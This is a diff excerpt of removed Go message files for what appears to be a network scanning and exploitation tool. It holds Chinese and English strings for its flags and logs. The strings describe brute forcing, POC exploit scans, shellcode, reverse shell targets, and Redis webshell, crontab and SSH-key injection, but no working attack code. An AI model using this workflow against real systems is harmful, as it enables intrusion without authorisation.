LangZH: "排除端口",
LangEN: "Exclude ports",
},
"flag_hosts_file": {
LangZH: "主机文件",
LangEN: "Hosts file",
},
"flag_ports_file": {
LangZH: "端口文件",
LangEN: "Ports file",
},
"flag_scan_mode": {
LangZH: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称",
LangEN: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names",
},
"flag_thread_num": {
LangZH: "端口扫描线程数",
LangEN: "Port scan thread count",
},
"flag_timeout": {
LangZH: "端口扫描超时时间",
LangEN: "Port scan timeout",
},
"flag_module_thread_num": {
LangZH: "模块线程数",
LangEN: "Module thread count",
},
"flag_global_timeout": {
LangZH: "全局超时时间",
LangEN: "Global timeout",
},
"flag_live_top": {
LangZH: "存活主机显示数量",
LangEN: "Live hosts display count",
},
"flag_disable_ping": {
LangZH: "禁用ping探测",
LangEN: "Disable ping detection",
},
"flag_enable_fingerprint": {
LangZH: "启用指纹识别",
LangEN: "Enable fingerprinting",
},
"flag_local_mode": {
LangZH: "本地扫描模式",
LangEN: "Local scan mode",
},
"flag_alive_only": {
LangZH: "仅进行存活探测",
LangEN: "Alive detection only",
},
"param_conflict_ao_icmp_both": {
LangZH: "提示: 同时指定了 -ao 和 -m icmp两者功能相同使用存活探测模式",
LangEN: "Note: Both -ao and -m icmp specified, both enable alive detection mode",
},
"flag_username": {
LangZH: "用户名",
LangEN: "Username",
},
"flag_password": {
LangZH: "密码",
LangEN: "Password",
},
"flag_add_users": {
LangZH: "额外用户名",
LangEN: "Additional usernames",
},
"flag_add_passwords": {
LangZH: "额外密码",
LangEN: "Additional passwords",
},
"flag_users_file": {
LangZH: "用户名字典文件",
LangEN: "Username dictionary file",
},
"flag_passwords_file": {
LangZH: "密码字典文件",
LangEN: "Password dictionary file",
},
"flag_hash_file": {
LangZH: "哈希文件",
LangEN: "Hash file",
},
"flag_hash_value": {
LangZH: "哈希值",
LangEN: "Hash value",
},
"flag_domain": {
LangZH: "域名",
LangEN: "Domain name",
},
"flag_ssh_key": {
LangZH: "SSH私钥文件",
LangEN: "SSH private key file",
},
"flag_target_url": {
LangZH: "目标URL",
LangEN: "Target URL",
},
"flag_urls_file": {
LangZH: "URL文件",
LangEN: "URLs file",
},
"flag_cookie": {
LangZH: "HTTP Cookie",
LangEN: "HTTP Cookie",
},
"flag_web_timeout": {
LangZH: "Web超时时间",
LangEN: "Web timeout",
},
"flag_http_proxy": {
LangZH: "HTTP代理",
LangEN: "HTTP proxy",
},
"flag_poc_path": {
LangZH: "POC脚本路径",
LangEN: "POC script path",
},
"flag_poc_name": {
LangZH: "POC名称",
LangEN: "POC name",
},
"flag_poc_full": {
LangZH: "全量POC扫描",
LangEN: "Full POC scan",
},
"flag_dns_log": {
LangZH: "DNS日志记录",
LangEN: "DNS logging",
},
"flag_poc_num": {
LangZH: "POC并发数",
LangEN: "POC concurrency",
},
"flag_no_poc": {
LangZH: "禁用POC扫描",
LangEN: "Disable POC scan",
},
"flag_redis_file": {
LangZH: "Redis文件",
LangEN: "Redis file",
},
"flag_redis_shell": {
LangZH: "Redis Shell",
LangEN: "Redis Shell",
},
"flag_disable_redis": {
LangZH: "禁用Redis扫描",
LangEN: "Disable Redis scan",
},
"flag_redis_write_path": {
LangZH: "Redis写入路径",
LangEN: "Redis write path",
},
"flag_redis_write_content": {
LangZH: "Redis写入内容",
LangEN: "Redis write content",
},
"flag_redis_write_file": {
LangZH: "Redis写入文件",
LangEN: "Redis write file",
},
"flag_disable_brute": {
LangZH: "禁用暴力破解",
LangEN: "Disable brute force",
},
"flag_disable_exploit": {
LangZH: "禁用利用攻击",
LangEN: "Disable exploit attacks",
},
"flag_max_retries": {
LangZH: "最大重试次数",
LangEN: "Maximum retries",
},
"flag_output_file": {
LangZH: "输出文件",
LangEN: "Output file",
},
"flag_output_format": {
LangZH: "输出格式: txt, json, csv",
LangEN: "Output format: txt, json, csv",
},
"flag_disable_save": {
LangZH: "禁用结果保存",
LangEN: "Disable result saving",
},
"flag_silent_mode": {
LangZH: "静默模式",
LangEN: "Silent mode",
},
"flag_no_color": {
LangZH: "禁用颜色输出",
LangEN: "Disable color output",
},
"flag_log_level": {
LangZH: "日志级别",
LangEN: "Log level",
},
"flag_disable_progress": {
LangZH: "禁用进度条",
LangEN: "Disable progress bar",
},
"flag_shellcode": {
LangZH: "Shellcode",
LangEN: "Shellcode",
},
"flag_reverse_shell_target": {
LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)",
LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)",
},
"flag_socks5_proxy": {
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
},
"flag_language": {
LangZH: "语言: zh, en",
LangEN: "Language: zh, en",
},
"flag_help": {
LangZH: "显示帮助信息",
LangEN: "Show help information",
},
"flag_version": {
LangZH: "显示版本信息",
LangEN: "Show version information",
},
}

View File

@ -1,67 +0,0 @@
package messages
/*
network.go - 网络相关消息
包含网络配置代理设置连接管理等相关的
国际化消息定义
*/
// NetworkMessages 网络相关消息
var NetworkMessages = map[string]map[string]string{
// ========================= 网络配置消息 =========================
"network_http_proxy": {
LangZH: "HTTP代理: %s",
LangEN: "HTTP proxy: %s",
},
"network_socks5_proxy": {
LangZH: "Socks5代理: %s",
LangEN: "Socks5 proxy: %s",
},
"network_timeout": {
LangZH: "连接超时: %v",
LangEN: "Connection timeout: %v",
},
"network_web_timeout": {
LangZH: "Web超时: %v",
LangEN: "Web timeout: %v",
},
// ========================= 代理系统消息 =========================
"proxy_init_start": {
LangZH: "初始化代理系统",
LangEN: "Initializing proxy system",
},
"proxy_init_success": {
LangZH: "代理系统初始化成功",
LangEN: "Proxy system initialized successfully",
},
"proxy_init_failed": {
LangZH: "初始化代理配置失败: %v",
LangEN: "Failed to initialize proxy configuration: %v",
},
"proxy_config_sync_failed": {
LangZH: "代理配置同步失败: %v",
LangEN: "Failed to sync proxy configuration: %v",
},
"proxy_enabled": {
LangZH: "代理已启用: %s %s",
LangEN: "Proxy enabled: %s %s",
},
"proxy_disabled": {
LangZH: "代理已禁用",
LangEN: "Proxy disabled",
},
"proxy_connection_failed": {
LangZH: "代理连接失败: %v",
LangEN: "Proxy connection failed: %v",
},
"socks5_create_failed": {
LangZH: "创建SOCKS5连接失败: %v",
LangEN: "Failed to create SOCKS5 connection: %v",
},
"tls_conn_failed": {
LangZH: "TLS连接失败: %v",
LangEN: "TLS connection failed: %v",
},
}

View File

@ -1,109 +0,0 @@
package messages
/*
output.go - 输出相关消息
包含输出系统文件保存格式化等相关的
国际化消息定义
*/
// OutputMessages 输出相关消息
var OutputMessages = map[string]map[string]string{
// ========================= 输出系统消息 =========================
"output_init_start": {
LangZH: "初始化输出系统",
LangEN: "Initializing output system",
},
"output_init_success": {
LangZH: "输出系统初始化成功",
LangEN: "Output system initialized successfully",
},
"output_init_failed": {
LangZH: "输出系统初始化失败: %v",
LangEN: "Failed to initialize output system: %v",
},
"output_format_invalid": {
LangZH: "无效的输出格式: %s",
LangEN: "Invalid output format: %s",
},
"output_path_empty": {
LangZH: "输出路径为空",
LangEN: "Output path is empty",
},
"output_not_init": {
LangZH: "输出系统未初始化",
LangEN: "Output system not initialized",
},
"output_saving_result": {
LangZH: "保存扫描结果: %s -> %s",
LangEN: "Saving scan result: %s -> %s",
},
"output_save_failed": {
LangZH: "保存结果失败: %v",
LangEN: "Failed to save result: %v",
},
"output_closing": {
LangZH: "关闭输出系统",
LangEN: "Closing output system",
},
"output_closed": {
LangZH: "输出系统已关闭",
LangEN: "Output system closed",
},
"output_close_failed": {
LangZH: "关闭输出系统失败: %v",
LangEN: "Failed to close output system: %v",
},
"output_config_nil": {
LangZH: "配置不能为空",
LangEN: "Configuration cannot be nil",
},
"output_unsupported_format": {
LangZH: "不支持的输出格式: %s",
LangEN: "Unsupported output format: %s",
},
"output_writer_init_failed": {
LangZH: "初始化写入器失败: %v",
LangEN: "Failed to initialize writer: %v",
},
"output_writer_closed": {
LangZH: "写入器已关闭",
LangEN: "Writer is closed",
},
"output_manager_not_init": {
LangZH: "输出管理器未初始化",
LangEN: "Output manager not initialized",
},
"output_manager_closed": {
LangZH: "输出管理器已关闭",
LangEN: "Output manager is closed",
},
"output_write_failed": {
LangZH: "写入结果失败: %v",
LangEN: "Failed to write result: %v",
},
"output_flush_failed": {
LangZH: "刷新写入器失败: %v",
LangEN: "Failed to flush writer: %v",
},
"output_create_file_failed": {
LangZH: "创建%s文件失败: %v",
LangEN: "Failed to create %s file: %v",
},
"output_write_header_failed": {
LangZH: "写入CSV头部失败: %v",
LangEN: "Failed to write CSV header: %v",
},
"output_open_file_failed": {
LangZH: "打开CSV文件失败: %v",
LangEN: "Failed to open CSV file: %v",
},
"output_read_file_failed": {
LangZH: "读取CSV文件失败: %v",
LangEN: "Failed to read CSV file: %v",
},
"output_parse_time_failed": {
LangZH: "无法解析时间: %s",
LangEN: "Failed to parse time: %s",
},
}

View File

@ -1,287 +0,0 @@
package messages
/*
parse.go - 解析相关消息
包含参数解析目标解析凭据解析等相关的
国际化消息定义
*/
// ParseMessages 解析相关消息
var ParseMessages = map[string]map[string]string{
// ========================= 解析错误消息 =========================
"parse_error_empty_input": {
LangZH: "输入参数为空",
LangEN: "Input parameters are empty",
},
"parse_error_config_failed": {
LangZH: "解析配置失败: %v",
LangEN: "Failed to parse configuration: %v",
},
"parse_error_parser_not_init": {
LangZH: "解析器未初始化",
LangEN: "Parser not initialized",
},
"parse_error_credential_failed": {
LangZH: "凭据解析失败: %v",
LangEN: "Failed to parse credentials: %v",
},
"parse_error_target_failed": {
LangZH: "目标解析失败: %v",
LangEN: "Failed to parse targets: %v",
},
"parse_error_network_failed": {
LangZH: "网络解析失败: %v",
LangEN: "Failed to parse network configuration: %v",
},
"parse_error_validation_failed": {
LangZH: "验证失败: %v",
LangEN: "Validation failed: %v",
},
"parse_error_update_vars_failed": {
LangZH: "更新全局变量失败: %v",
LangEN: "Failed to update global variables: %v",
},
"parse_error_target_empty": {
LangZH: "目标输入为空",
LangEN: "Target input is empty",
},
"parse_error_credential_empty": {
LangZH: "凭据输入为空",
LangEN: "Credential input is empty",
},
"parse_error_network_empty": {
LangZH: "网络配置为空",
LangEN: "Network configuration is empty",
},
"parse_error_invalid_ip": {
LangZH: "无效的IP地址: %s",
LangEN: "Invalid IP address: %s",
},
"parse_error_invalid_port": {
LangZH: "无效的端口: %s",
LangEN: "Invalid port: %s",
},
"parse_error_invalid_url": {
LangZH: "无效的URL: %s",
LangEN: "Invalid URL: %s",
},
"parse_error_file_not_found": {
LangZH: "文件未找到: %s",
LangEN: "File not found: %s",
},
"parse_error_file_read_failed": {
LangZH: "读取文件失败: %s",
LangEN: "Failed to read file: %s",
},
// ========================= 目标解析消息 =========================
"target_parse_start": {
LangZH: "开始解析目标",
LangEN: "Starting target parsing",
},
"target_parse_complete": {
LangZH: "目标解析完成",
LangEN: "Target parsing completed",
},
"target_hosts_found": {
LangZH: "目标主机: %s",
LangEN: "Target hosts: %s",
},
"target_hosts_count": {
LangZH: "目标主机: %s ... (共%d个)",
LangEN: "Target hosts: %s ... (total %d)",
},
"target_urls_found": {
LangZH: "目标URL: %s",
LangEN: "Target URLs: %s",
},
"target_urls_count": {
LangZH: "目标URL: %s ... (共%d个)",
LangEN: "Target URLs: %s ... (total %d)",
},
"target_ports_found": {
LangZH: "扫描端口: %s",
LangEN: "Scan ports: %s",
},
"target_ports_count": {
LangZH: "扫描端口: %s ... (共%d个)",
LangEN: "Scan ports: %s ... (total %d)",
},
"target_exclude_ports": {
LangZH: "排除端口: %s",
LangEN: "Exclude ports: %s",
},
"target_local_mode": {
LangZH: "本地扫描模式",
LangEN: "Local scan mode",
},
// ========================= 凭据相关消息 =========================
"credential_username_count": {
LangZH: "用户名数量: %d",
LangEN: "Username count: %d",
},
"credential_password_count": {
LangZH: "密码数量: %d",
LangEN: "Password count: %d",
},
"credential_hash_count": {
LangZH: "Hash数量: %d",
LangEN: "Hash count: %d",
},
// ========================= Parsers包专用消息 =========================
"parser_validation_input_empty": {
LangZH: "验证输入为空",
LangEN: "Validation input is empty",
},
"parser_empty_input": {
LangZH: "输入参数为空",
LangEN: "Input parameters are empty",
},
"parser_file_empty": {
LangZH: "文件名为空",
LangEN: "File name is empty",
},
"parser_file_too_big": {
LangZH: "文件过大: %d bytes, 最大限制: %d bytes",
LangEN: "File too large: %d bytes, max limit: %d bytes",
},
"parser_cannot_open_file": {
LangZH: "无法打开文件",
LangEN: "Cannot open file",
},
"parser_file_not_exists": {
LangZH: "文件不存在或无法访问",
LangEN: "File does not exist or cannot be accessed",
},
"parser_file_read_timeout": {
LangZH: "文件读取超时",
LangEN: "File read timeout",
},
"parser_file_scan_failed": {
LangZH: "文件扫描失败",
LangEN: "File scan failed",
},
"parser_username_too_long": {
LangZH: "用户名过长: %d字符最大允许: %d",
LangEN: "Username too long: %d characters, max allowed: %d",
},
"parser_username_invalid_chars": {
LangZH: "用户名包含非法字符",
LangEN: "Username contains invalid characters",
},
"parser_password_empty": {
LangZH: "不允许空密码",
LangEN: "Empty passwords not allowed",
},
"parser_password_too_long": {
LangZH: "密码过长: %d字符最大允许: %d",
LangEN: "Password too long: %d characters, max allowed: %d",
},
"parser_hash_empty": {
LangZH: "哈希值为空",
LangEN: "Hash value is empty",
},
"parser_hash_invalid_format": {
LangZH: "哈希值格式无效需要32位十六进制字符",
LangEN: "Invalid hash format, requires 32-character hexadecimal",
},
"parser_proxy_url_invalid": {
LangZH: "代理URL格式无效: %v",
LangEN: "Invalid proxy URL format: %v",
},
"parser_proxy_protocol_unsupported": {
LangZH: "不支持的代理协议: %s",
LangEN: "Unsupported proxy protocol: %s",
},
"parser_proxy_host_empty": {
LangZH: "代理主机名为空",
LangEN: "Proxy hostname is empty",
},
"parser_proxy_port_invalid": {
LangZH: "代理端口号无效: %s",
LangEN: "Invalid proxy port: %s",
},
"parser_proxy_port_out_of_range": {
LangZH: "代理端口号超出范围: %d",
LangEN: "Proxy port out of range: %d",
},
"parser_proxy_insecure": {
LangZH: "不允许使用不安全的HTTP代理",
LangEN: "Insecure HTTP proxy not allowed",
},
"parser_user_agent_too_long": {
LangZH: "用户代理字符串过长",
LangEN: "User agent string too long",
},
"parser_user_agent_invalid_chars": {
LangZH: "用户代理包含非法字符",
LangEN: "User agent contains invalid characters",
},
"parser_cookie_too_long": {
LangZH: "Cookie字符串过长",
LangEN: "Cookie string too long",
},
"parser_error_count_limit": {
LangZH: "错误数量过多,仅显示前%d个",
LangEN: "Too many errors, showing only first %d",
},
"parser_no_scan_target": {
LangZH: "未指定任何扫描目标",
LangEN: "No scan targets specified",
},
"parser_no_target_default": {
LangZH: "未指定扫描目标,将使用默认配置",
LangEN: "No scan targets specified, using default configuration",
},
"parser_multiple_scan_modes": {
LangZH: "不能同时使用多种扫描模式",
LangEN: "Cannot use multiple scan modes simultaneously",
},
"parser_proxy_ping_warning": {
LangZH: "使用代理时建议禁用Ping检测",
LangEN: "Recommend disabling Ping detection when using proxy",
},
"parser_multiple_modes_conflict": {
LangZH: "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)",
LangEN: "Cannot specify multiple scan modes (host scan, URL scan, local mode) simultaneously",
},
"parser_proxy_ping_fail": {
LangZH: "代理模式下Ping检测可能失效",
LangEN: "Ping detection may fail in proxy mode",
},
"parser_exclude_ports_invalid": {
LangZH: "排除端口无效",
LangEN: "Exclude ports invalid",
},
"parser_many_targets_warning": {
LangZH: "大量目标(%d),可能耗时较长",
LangEN: "Large number of targets (%d), may take a long time",
},
"parser_too_many_ports": {
LangZH: "端口数量过多",
LangEN: "Too many ports",
},
"parser_timeout_too_short": {
LangZH: "超时过短",
LangEN: "Timeout too short",
},
"parser_timeout_too_long": {
LangZH: "超时过长",
LangEN: "Timeout too long",
},
"parser_invalid_scan_mode": {
LangZH: "无效的扫描模式: %s",
LangEN: "Invalid scan mode: %s",
},
"parse_error_invalid_target_format": {
LangZH: "无效的目标地址格式: %s",
LangEN: "Invalid target address format: %s",
},
"parse_error_no_hosts": {
LangZH: "解析后没有找到有效的目标主机",
LangEN: "No valid target hosts found after parsing",
},
}

View File

@ -1,903 +0,0 @@
package messages
/*
plugins.go - 插件相关消息
包含新插件架构中各种插件的国际化消息定义
包括扫描利用认证等相关消息
*/
// PluginMessages 插件相关消息
var PluginMessages = map[string]map[string]string{
// ========================= 通用插件消息 =========================
"plugin_init": {
LangZH: "初始化插件: %s",
LangEN: "Initializing plugin: %s",
},
"plugin_scan_start": {
LangZH: "开始%s插件扫描: %s",
LangEN: "Starting %s plugin scan: %s",
},
"plugin_scan_success": {
LangZH: "%s扫描成功: %s",
LangEN: "%s scan successful: %s",
},
"plugin_scan_failed": {
LangZH: "%s插件扫描失败: %v",
LangEN: "%s plugin scan failed: %v",
},
"plugin_exploit_start": {
LangZH: "开始%s自动利用: %s",
LangEN: "Starting %s auto exploitation: %s",
},
"plugin_exploit_success": {
LangZH: "%s利用成功: %s",
LangEN: "%s exploitation successful: %s",
},
"plugin_exploit_failed": {
LangZH: "%s利用失败: %v",
LangEN: "%s exploitation failed: %v",
},
// ========================= 通用成功消息模板 =========================
"plugin_login_success": {
LangZH: "%s弱密码: %s [%s:%s]",
LangEN: "%s weak password: %s [%s:%s]",
},
"plugin_login_success_passwd_only": {
LangZH: "%s弱密码: %s [%s]",
LangEN: "%s weak password: %s [%s]",
},
"plugin_unauthorized_access": {
LangZH: "%s未授权访问: %s",
LangEN: "%s unauthorized access: %s",
},
// ========================= 利用(Exploit)消息模板 =========================
"exploit_weak_password_success": {
LangZH: "%s %s 弱密码利用成功",
LangEN: "%s %s weak password exploit successful",
},
"exploit_unauthorized_success": {
LangZH: "%s %s 未授权访问利用成功",
LangEN: "%s %s unauthorized access exploit successful",
},
"exploit_command_exec_success": {
LangZH: "%s %s 命令执行利用成功",
LangEN: "%s %s command execution exploit successful",
},
"exploit_file_write_success": {
LangZH: "%s %s 文件写入利用成功",
LangEN: "%s %s file write exploit successful",
},
"exploit_sql_injection_success": {
LangZH: "%s %s SQL注入利用成功",
LangEN: "%s %s SQL injection exploit successful",
},
"exploit_data_extraction_success": {
LangZH: "%s %s %s 利用成功",
LangEN: "%s %s %s exploit successful",
},
"exploit_generic_success": {
LangZH: "%s %s %s 利用成功",
LangEN: "%s %s %s exploit successful",
},
"exploit_with_output": {
LangZH: " 输出: %s",
LangEN: " output: %s",
},
"exploit_files_created": {
LangZH: "创建/修改的文件: %v",
LangEN: "Files created/modified: %v",
},
"exploit_shell_obtained": {
LangZH: "获得Shell: %s %s:%d 用户:%s",
LangEN: "Shell obtained: %s %s:%d user:%s",
},
// ========================= 利用方法执行消息 =========================
"exploit_method_trying": {
LangZH: "尝试利用方法: %s",
LangEN: "Trying exploit method: %s",
},
"exploit_method_success": {
LangZH: "利用方法 %s 执行成功",
LangEN: "Exploit method %s executed successfully",
},
"exploit_method_failed": {
LangZH: "利用方法 %s 执行失败: %v",
LangEN: "Exploit method %s failed: %v",
},
"exploit_method_condition_not_met": {
LangZH: "利用方法 %s 前置条件不满足,跳过",
LangEN: "Exploit method %s prerequisites not met, skipping",
},
"exploit_all_methods_failed": {
LangZH: "所有利用方法都失败",
LangEN: "All exploit methods failed",
},
// ========================= MySQL利用方法消息 =========================
"mysql_version_info": {
LangZH: "MySQL版本: %s",
LangEN: "MySQL version: %s",
},
"mysql_current_user": {
LangZH: "当前用户: %s",
LangEN: "Current user: %s",
},
"mysql_current_database": {
LangZH: "当前数据库: %s",
LangEN: "Current database: %s",
},
"mysql_databases_found": {
LangZH: "发现数据库: %s",
LangEN: "Databases found: %s",
},
"mysql_tables_found": {
LangZH: "发现表: %v",
LangEN: "Tables found: %v",
},
"mysql_user_privileges": {
LangZH: "用户权限: %s",
LangEN: "User privileges: %s",
},
"mysql_file_privilege_detected": {
LangZH: "检测到FILE权限可能支持文件操作",
LangEN: "FILE privilege detected, file operations may be supported",
},
"mysql_file_read_success": {
LangZH: "读取文件 %s:\n%s",
LangEN: "File %s read:\n%s",
},
"mysql_file_write_success": {
LangZH: "成功写入文件: %s",
LangEN: "File written successfully: %s",
},
"mysql_no_file_privilege": {
LangZH: "无法读取任何文件可能没有FILE权限",
LangEN: "Cannot read any files, may lack FILE privilege",
},
// ========================= Redis利用方法消息 =========================
"redis_server_info": {
LangZH: "Redis服务器信息: %s",
LangEN: "Redis server info: %s",
},
"redis_config_info": {
LangZH: "Redis配置信息: %s",
LangEN: "Redis config info: %s",
},
"redis_keys_found": {
LangZH: "发现Redis键: %v",
LangEN: "Redis keys found: %v",
},
"redis_backup_created": {
LangZH: "Redis备份创建成功: %s",
LangEN: "Redis backup created: %s",
},
"redis_cron_job_written": {
LangZH: "Cron任务写入成功: %s",
LangEN: "Cron job written successfully: %s",
},
"redis_ssh_key_written": {
LangZH: "SSH密钥写入成功: %s",
LangEN: "SSH key written successfully: %s",
},
"redis_webshell_written": {
LangZH: "Webshell写入成功: %s",
LangEN: "Webshell written successfully: %s",
},
"redis_no_keys_found": {
LangZH: "未发现任何Redis键",
LangEN: "No Redis keys found",
},
"redis_write_failed": {
LangZH: "Redis写入操作失败",
LangEN: "Redis write operation failed",
},
// ========================= 插件架构消息 =========================
"plugin_new_arch_trying": {
LangZH: "尝试使用新插件架构: %s",
LangEN: "Trying new plugin architecture: %s",
},
"plugin_new_arch_success": {
LangZH: "新插件架构处理成功: %s",
LangEN: "New plugin architecture successful: %s",
},
"plugin_new_arch_fallback": {
LangZH: "新插件架构失败,回退到传统实现: %s - %v",
LangEN: "New plugin architecture failed, falling back to legacy: %s - %v",
},
"plugin_legacy_using": {
LangZH: "插件 %s 不支持新架构,使用传统实现",
LangEN: "Plugin %s not supported in new architecture, using legacy",
},
// ========================= MySQL插件消息 =========================
"mysql_scan_start": {
LangZH: "开始MySQL扫描: %s",
LangEN: "Starting MySQL scan: %s",
},
"mysql_scan_success": {
LangZH: "MySQL弱密码扫描成功: %s [%s:%s]",
LangEN: "MySQL weak password scan successful: %s [%s:%s]",
},
"mysql_service_identified": {
LangZH: "MySQL服务识别成功: %s - %s",
LangEN: "MySQL service identified: %s - %s",
},
"mysql_connection_failed": {
LangZH: "MySQL连接失败: %v",
LangEN: "MySQL connection failed: %v",
},
"mysql_auth_failed": {
LangZH: "MySQL认证失败: %v",
LangEN: "MySQL authentication failed: %v",
},
"mysql_exploit_info_gather": {
LangZH: "MySQL信息收集成功",
LangEN: "MySQL information gathering successful",
},
"mysql_exploit_db_enum": {
LangZH: "MySQL数据库枚举成功",
LangEN: "MySQL database enumeration successful",
},
"mysql_exploit_file_write": {
LangZH: "MySQL文件写入成功: %s",
LangEN: "MySQL file write successful: %s",
},
"mysql_exploit_file_read": {
LangZH: "MySQL文件读取成功: %s",
LangEN: "MySQL file read successful: %s",
},
// ========================= Redis插件消息 =========================
"redis_scan_start": {
LangZH: "开始Redis扫描: %s",
LangEN: "Starting Redis scan: %s",
},
"redis_unauth_success": {
LangZH: "Redis未授权访问: %s",
LangEN: "Redis unauthorized access: %s",
},
"redis_weak_pwd_success": {
LangZH: "Redis弱密码扫描成功: %s [%s]",
LangEN: "Redis weak password scan successful: %s [%s]",
},
"redis_service_identified": {
LangZH: "Redis服务识别成功: %s - %s",
LangEN: "Redis service identified: %s - %s",
},
"redis_connection_failed": {
LangZH: "Redis连接失败: %v",
LangEN: "Redis connection failed: %v",
},
"redis_auth_failed": {
LangZH: "Redis认证失败: %v",
LangEN: "Redis authentication failed: %v",
},
"redis_exploit_file_write": {
LangZH: "Redis任意文件写入成功: %s",
LangEN: "Redis arbitrary file write successful: %s",
},
"redis_exploit_ssh_key": {
LangZH: "Redis SSH密钥注入成功",
LangEN: "Redis SSH key injection successful",
},
"redis_exploit_crontab": {
LangZH: "Redis定时任务注入成功",
LangEN: "Redis crontab injection successful",
},
"redis_exploit_data_extract": {
LangZH: "Redis数据提取成功",
LangEN: "Redis data extraction successful",
},
// ========================= SSH插件消息 =========================
"ssh_scan_start": {
LangZH: "开始SSH扫描: %s",
LangEN: "Starting SSH scan: %s",
},
"ssh_key_auth_success": {
LangZH: "SSH密钥认证成功: %s [%s]",
LangEN: "SSH key authentication successful: %s [%s]",
},
"ssh_pwd_auth_success": {
LangZH: "SSH密码认证成功: %s [%s:%s]",
LangEN: "SSH password authentication successful: %s [%s:%s]",
},
"ssh_service_identified": {
LangZH: "SSH服务识别成功: %s - %s",
LangEN: "SSH service identified: %s - %s",
},
"ssh_connection_failed": {
LangZH: "SSH连接失败: %v",
LangEN: "SSH connection failed: %v",
},
"ssh_auth_failed": {
LangZH: "SSH认证失败: %v",
LangEN: "SSH authentication failed: %v",
},
"ssh_key_read_failed": {
LangZH: "读取SSH私钥失败: %v",
LangEN: "Failed to read SSH private key: %v",
},
// ========================= 通用错误消息 =========================
"plugin_brute_disabled": {
LangZH: "暴力破解已禁用",
LangEN: "Brute force disabled",
},
"plugin_no_credentials": {
LangZH: "没有可用的凭据",
LangEN: "No credentials available",
},
"plugin_all_creds_failed": {
LangZH: "所有凭据扫描失败",
LangEN: "All credential scans failed",
},
"plugin_invalid_port": {
LangZH: "无效的端口号: %s",
LangEN: "Invalid port number: %s",
},
"plugin_timeout": {
LangZH: "插件扫描超时",
LangEN: "Plugin scan timeout",
},
"plugin_vuln_found": {
LangZH: "%s发现漏洞: %s - %s",
LangEN: "%s vulnerability found: %s - %s",
},
// ========================= 利用方法名称i18n =========================
"exploit_method_name_information_gathering": {
LangZH: "信息收集",
LangEN: "information_gathering",
},
"exploit_method_name_database_enumeration": {
LangZH: "数据库枚举",
LangEN: "database_enumeration",
},
"exploit_method_name_privilege_check": {
LangZH: "权限检查",
LangEN: "privilege_check",
},
"exploit_method_name_file_read": {
LangZH: "文件读取",
LangEN: "file_read",
},
"exploit_method_name_file_write": {
LangZH: "文件写入",
LangEN: "file_write",
},
"exploit_method_name_arbitrary_file_write": {
LangZH: "任意文件写入",
LangEN: "arbitrary_file_write",
},
"exploit_method_name_ssh_key_write": {
LangZH: "SSH密钥写入",
LangEN: "ssh_key_write",
},
"exploit_method_name_crontab_injection": {
LangZH: "定时任务注入",
LangEN: "crontab_injection",
},
"exploit_method_name_data_extraction": {
LangZH: "数据提取",
LangEN: "data_extraction",
},
"exploit_method_name_system_info": {
LangZH: "系统信息收集",
LangEN: "system_info",
},
"exploit_method_name_command_test": {
LangZH: "命令执行测试",
LangEN: "command_test",
},
// ========================= SSH利用方法消息 =========================
"ssh_command_result": {
LangZH: "%s: %s",
LangEN: "%s: %s",
},
"ssh_test_command": {
LangZH: "执行命令 '%s': %s",
LangEN: "Executed command '%s': %s",
},
"ssh_sudo_check": {
LangZH: "Sudo权限: %s",
LangEN: "Sudo privileges: %s",
},
"ssh_root_access": {
LangZH: "检测到root权限访问",
LangEN: "Root access detected",
},
"ssh_user_groups": {
LangZH: "用户组: %s",
LangEN: "User groups: %s",
},
// ========================= 利用结果消息 =========================
"exploit_result_saved": {
LangZH: "利用结果已保存: %s",
LangEN: "Exploitation result saved: %s",
},
// ========================= ActiveMQ插件消息 =========================
"activemq_scan_start": {
LangZH: "开始ActiveMQ扫描: %s",
LangEN: "Starting ActiveMQ scan: %s",
},
"activemq_stomp_scan_success": {
LangZH: "ActiveMQ弱密码扫描成功(STOMP): %s [%s:%s]",
LangEN: "ActiveMQ weak password scan successful(STOMP): %s [%s:%s]",
},
"activemq_service_identified": {
LangZH: "ActiveMQ服务识别成功: %s (%s) - %s",
LangEN: "ActiveMQ service identified: %s (%s) - %s",
},
"activemq_stomp_auth_success": {
LangZH: "ActiveMQ STOMP认证成功: %s@%s:%d",
LangEN: "ActiveMQ STOMP authentication successful: %s@%s:%d",
},
"activemq_connection_failed": {
LangZH: "ActiveMQ连接失败: %v",
LangEN: "ActiveMQ connection failed: %v",
},
"activemq_auth_failed": {
LangZH: "ActiveMQ认证失败: %v",
LangEN: "ActiveMQ authentication failed: %v",
},
"activemq_stomp_auth_failed": {
LangZH: "ActiveMQ STOMP认证失败: %v",
LangEN: "ActiveMQ STOMP authentication failed: %v",
},
// ActiveMQ利用方法消息
"activemq_exploit_info_gather": {
LangZH: "ActiveMQ信息收集成功",
LangEN: "ActiveMQ information gathering successful",
},
"activemq_exploit_message_enum": {
LangZH: "ActiveMQ消息枚举成功",
LangEN: "ActiveMQ message enumeration successful",
},
"activemq_exploit_queue_mgmt": {
LangZH: "ActiveMQ队列管理成功",
LangEN: "ActiveMQ queue management successful",
},
"activemq_exploit_config_dump": {
LangZH: "ActiveMQ配置转储成功",
LangEN: "ActiveMQ configuration dump successful",
},
"activemq_queues_found": {
LangZH: "发现ActiveMQ队列: %s",
LangEN: "ActiveMQ queues found: %s",
},
"activemq_topics_found": {
LangZH: "发现ActiveMQ主题: %s",
LangEN: "ActiveMQ topics found: %s",
},
"activemq_queue_created": {
LangZH: "成功创建测试队列: %s",
LangEN: "Test queue created successfully: %s",
},
"activemq_message_sent": {
LangZH: "消息发送成功到队列: %s",
LangEN: "Message sent successfully to queue: %s",
},
"activemq_version_info": {
LangZH: "ActiveMQ版本: %s",
LangEN: "ActiveMQ version: %s",
},
"activemq_broker_info": {
LangZH: "ActiveMQ Broker信息: %s",
LangEN: "ActiveMQ Broker info: %s",
},
"activemq_protocol_detected": {
LangZH: "检测到ActiveMQ协议: %s",
LangEN: "ActiveMQ protocol detected: %s",
},
// ActiveMQ利用方法名称
"exploit_method_name_activemq_info_gather": {
LangZH: "信息收集",
LangEN: "Information Gathering",
},
"exploit_method_name_activemq_message_enum": {
LangZH: "消息枚举",
LangEN: "Message Enumeration",
},
"exploit_method_name_activemq_queue_mgmt": {
